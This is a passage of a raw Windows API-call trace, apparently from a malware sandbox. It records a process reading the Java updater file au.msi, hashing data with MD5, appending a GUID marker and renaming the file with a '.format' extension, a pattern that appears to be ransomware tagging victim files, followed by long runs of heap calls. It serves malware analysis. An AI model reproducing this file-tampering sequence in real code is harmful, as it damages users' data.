(lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.249] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=185344) returned 1 [0069.249] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.252] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x2d3da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.252] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.253] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.253] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x25805, lpOverlapped=0x0) returned 1 [0069.254] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.254] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.254] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.255] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac3d0) returned 1 [0069.255] CryptCreateHash (in: hProv=0x6ac3d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.255] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.255] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.255] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.255] GetLastError () returned 0x0 [0069.255] CryptDestroyHash (hHash=0x31befa0) returned 1 [0069.256] CryptReleaseContext (hProv=0x6ac3d0, dwFlags=0x0) returned 1 [0069.257] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x2d400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.257] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.257] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.257] CloseHandle (hObject=0x5c8) returned 1 [0069.267] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi.format")) returned 1 [0069.269] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7eec92c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2d400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="au.msi", cAlternateFileName="")) returned 0 [0069.269] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0069.269] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0069.269] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a30b0 [0069.269] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0069.269] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.269] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.269] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.269] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.269] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.269] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.269] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.269] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.269] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.269] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.269] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.269] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.269] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.269] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.270] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.270] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.270] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.270] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.270] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.270] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.270] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.270] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.270] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.270] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.270] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.270] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.270] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0069.270] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.270] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.270] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.270] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.270] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.270] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.270] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.270] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.270] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.270] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.270] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.270] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.270] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.270] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.270] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.270] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.270] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.270] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.270] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.271] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.271] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.271] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.271] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.271] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.271] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.271] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.271] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.271] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.271] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.271] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.271] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.271] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.271] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.272] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.272] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.272] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.272] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.272] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.272] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.272] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.272] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0069.272] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.272] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.272] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.272] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.272] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0069.272] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.272] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.272] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.273] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.273] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.273] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.273] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.273] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.273] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.273] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.273] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.273] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.273] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.273] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.273] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.273] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.273] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.273] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.273] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.273] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0069.273] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.273] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.273] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.273] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.273] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.273] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.273] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.273] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.273] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.273] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.273] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.273] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.273] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.274] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.274] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.274] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.274] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.274] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.274] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.274] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.274] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.274] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.274] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.274] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.274] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.274] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.274] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.274] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.274] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.274] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.274] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.274] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.274] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.274] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.274] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.274] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.274] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.274] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.274] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.274] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.274] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.274] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0069.274] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.274] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.274] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.275] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.275] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.275] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.275] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.275] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.275] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.275] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.275] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.275] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.275] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.275] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.275] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.275] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.275] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.275] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.275] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.275] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.275] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.275] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.275] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.275] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.275] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.275] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0069.275] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.275] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.275] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.275] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.275] RtlAllocateHeap 